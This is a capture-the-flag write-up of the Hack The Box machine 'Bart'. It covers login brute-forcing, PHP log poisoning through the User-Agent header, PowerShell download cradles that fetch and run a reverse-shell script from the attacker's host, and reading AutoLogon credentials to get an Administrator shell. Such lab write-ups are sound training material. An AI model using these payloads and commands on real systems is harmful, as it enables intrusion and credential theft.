Hack the Box Write-up #7: Bart

29 minute read

After doing a couple more machines on Hack The Box, Bart was one that I definitely wanted to do a write-up for.

We start with a bunch of web enumeration and discovering different directories and hostnames. Eventually, we discover a chat application, register our own user and do log poisoning to get our first low priv shell. Privilege escalation to Administrator is then accomplished by identifying AutoLogon credentials stored in the registry. On the way we read some source code, learn about 32/64-bit registry queries and running commands in a different user context.

Recon and Enumeration

Our initial nmap -sC -sV -oN nmap/init 10.10.10.81 gives:

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Since we only discovered one port (80), we do another scan for all ports (nmap -p-) while having a first look at the site running at 10.10.10.81.

We get a Location: http://forum.bart.htb/ header back. After adding the hostnames forum.bart.htb and bart.htb to /etc/hosts we are presented with the following site:

forum.bart.htb splash

The site gives us some interesting information about employee’s names and email addresses. Additionally, another employee entry for “Harvey Potter” is commented out in the HTML source.

<!-- <div class="owl-item" style="width: 380px;"><div class="team-item">
        <div class="team-inner">
            <div class="pop-overlay">
                <div class="team-pop">
                    <div class="team-info">
                        <div class="name">Harvey Potter</div>
                        <div class="pos">Developer@BART</div>
[...]
-->

From the HTTP headers we also learn that we’re dealing with a relatively modern Windows 2016/2019/10 (IIS 10 server header) and a PHP 7.1.7 installation.

The next step is to brute-force directories. It’s a little bit more involved this time as every request to the server returns a 200 status. To get around this, we’ll use wfuzz and filter by the number of characters of the returned data:

wfuzz --hh 150693 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bart.htb/FUZZ.

After a while we discover the /monitor directory:

000000067:   301        1 L      10 W     145 Ch      "forum"                                                                                                                    
000001614:   301        1 L      10 W     147 Ch      "monitor"

Going to http://bart.htb/monitor/ gives us a “PHP Server Monitor” instance. A quick search for public exploits reveals nothing relevant for our use case. What we can do, however, is enumerating usernames via the “Forgot Password” feature. The obvious first thing to try are the employee names that we noted down earlier.

PHP Server Monitor username enumeration - success

PHP Server Monitor username enumeration - fail

Brute-forcing our way in

Once we know that Daniel and Harvey are valid usernames, we can try brute-forcing the password. While CSRF tokens usually make it a bit harder as we would need to fetch the updated token for every request, in this case we can get around it by just passing the same token and a valid cookie header.

hydra -L users.txt -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-25.txt "http-post-form://bart.htb/monitor/:csrf=43aa9be1c2751cd82f916413a9d6696b501a075b0bd0a818c3a126e5aa6f809f&user_name=^USER^&user_password=^PASS^&action=login:incorrect:H=Cookie\:PHPSESSID=utstuc3mhm4glhnre75qao4t59"

After a couple of minutes, we successfully discover the password – one that we could have also guessed in the first place, I’d say :-)

[80][http-post-form] host: bart.htb   login: Harvey   password: potter

Logging in with the creds redirects us to monitor.bart.htb, so let’s also add this hostname to our /etc/hosts/ file.

Server Monitor logged in

Once logged in we discover yet another hostname: http://internal-01.bart.htb/. Let’s add this one as well and navigate there.

Chat system

We land at another login prompt. This time for a “simple_chat” application.

Exploiting the left over “register.php” – or: just brute-force again

Googling for a few file names of the application, we quickly discover that this is the source code: https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat

Skimming through the code, we don’t find anything too obvious in the login logic (the sql query looks vulnerable at first sight but is not, as the password is hashed before being included in the query and the username validation also strips quotes before).

However, we could look into just creating a new user ourselves; the register_form.php was apparently deleted on the server, but nothing stops us from sending a POST to register.php, which still exists:

POST /simple_chat/register.php HTTP/1.1
Host: internal-01.bart.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal-01.bart.htb/simple_chat/login_form.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=7v28h3a0rk34cg5el3ggmvg60p
Upgrade-Insecure-Requests: 1
uname=itsme&passwd=itsokletmein&submit=Login

An alternative approach would be to brute-force the login once more; this time it requires a slightly larger wordlist, but is still doable. As hydra was running a bit slow last time, let’s use patator this time and start only with Harvey as username:

patator http_fuzz url=http://internal-01.bart.htb/simple_chat/login.php method=POST body='uname=Harvey&passwd=FILE0&submit=Login' 0=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-45.txt -x ignore:fgrep='Location: login_form.php'

After about 2 minutes we get a hit:

patator    INFO - 302  354:0          1.051 | Password1                          |  3502 | HTTP/1.1 302 Found

Logging in, we see a chat and a log button at the top right:

Simple Chat logged in

Log poisoning to reverse shell

Clicking on “log” makes a XHR to:

/log/log.php?filename=log.txt&username=harvey

Going to http://internal-01.bart.htb/log/log.txt, we can see that the log.txt file was created and includes the given username and our User-Agent header.

So let’s try changing the file to “rce.php” and adding PHP code to the User-Agent header:

Sending:

GET /log/log.php?filename=rce.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php echo 1+1; ?>

And then requesting /log/rce.php HTTP/1.1 gives us the following output (the number 2 being our executed code 1+1):

[2020-03-21 20:54:43] - harvey - 2

Now that we can execute code by poisoning the log file, let’s prepare to get a reverse shell. I’ll use the “mini-reverse.ps1” from https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5.

To get the shell, we adjust mini-reverse.ps1 with our IP and desired port number, host it (python3 -m http.server 80), start a netcat listener (nc -lvnp 443), and then use a powershell download cradle inside the PHP code in the User-Agent header:

GET /log/log.php?filename=rce.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php system("powershell -c iex (new-object net.webclient).downloadstring('http://10.10.14.37/mini-reverse.ps1')"); ?>

Doing another GET /log/rce.php HTTP/1.1 will now execute our code, download mini-reverse.ps1 and initiate our connect-back shell.

Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50173.
whoami
nt authority\iusr

Escalate to Administrator

After a few manual checks, we can run an privesc enumeration script like winPEAS or PowerUp.

powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.14.37/PowerUp.ps1'); Invoke-AllChecks"

If we run PowerUp or the winPEAS.bat like above, however, we’ll likely miss a few things (namely registry settings), because we’re on a 64-bit system but running 32-bit PowerShell, as confirmed like so:

powershell.exe -c "[Environment]::Is64BitProcess"
False

To do enumeration in a 64-bit process we could either download and execute something like the winPEAS.exe binary or run an enumeration script by explicitly callling the 64-bit version of PowerShell:

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c "[Environment]::Is64BitProcess"
True

So let’s run PowerUp again:

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c "iex(new-object net.webclient).downloadstring('http://10.10.14.37/PowerUp.ps1'); Invoke-AllChecks"

This time we get a very obvious privilege escalation hint:

[*] Checking for Autologon credentials in registry...

DefaultDomainName    : DESKTOP-7I3S68E
DefaultUserName      : Administrator
DefaultPassword      : 3130438f31186fbaf962f407711faddb

If you’d wanted to read the registry values without PowerShell, you would naturally also need to specify the architecture:

REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword

…won’t give you anything, whereas…

REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64

… will give you what you want (note /reg:64).

Getting only the flag or a full admin shell

The stored AutoLogon credentials already give us everything we need to root the box. We can now either just read the root flag or go ahead and get a full Administrator shell.

Let’s first try to read the root flag with our current shell. To do that, we can just run Get-Content as the Administrator user (see my previous blog post: Running commands in a specific user context in PowerShell):

powershell.exe -c "$user='WORKGROUP\Administrator'; $pass='3130438f31186fbaf962f407711faddb'; try { Invoke-Command -ScriptBlock { Get-Content C:\Users\Administrator\Desktop\root.txt } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1"

0074a38e6e...

Now, to get a proper Adminstrator shell, using PSExec and passing the creds is usually an easy way to go. We have one problem here, though: while the machine is listening on 135/445, the firewall doesn’t let us in. To get around a situation like this, we could open the port in the firewall (nah, not cool) or proxy the connection through another session (e.g. psexec through proxychains with meterpreter’s socks4a module), or just use what we’re already using: another Invoke-Command as Admin, but this time to load our reverse shell script again.

Starting our netcat listener again like before (using 443 once more so that we don’t need to change the script), we receive our administrator reverse shell:

powershell.exe -c "$user='WORKGROUP\Administrator'; $pass='3130438f31186fbaf962f407711faddb'; try { Invoke-Command -ScriptBlock { iex(New-Object Net.WebClient).DownloadString('http://10.10.14.37/mini-reverse.ps1') } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1"

And here we go:

Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50896.
whoami
bart\administrator

Cheers!


I hope you’ve enjoyed this write-up. If you have any questions, did it another way or have something else to say, feel free to leave a comment. I’m always happy to learn new things. You can also check out the other write-ups.

Like to comment? Feel free to send me an email or reach out on Twitter.

Did this or another article help you? If you like and can afford it, you can buy me a coffee (3 EUR) ☕️ to support me in writing more posts. In case you would like to contribute more or I helped you directly via email or coding/troubleshooting session, you can opt to give a higher amount through the following links or adjust the quantity: 50 EUR, 100 EUR, 500 EUR. All links redirect to Stripe.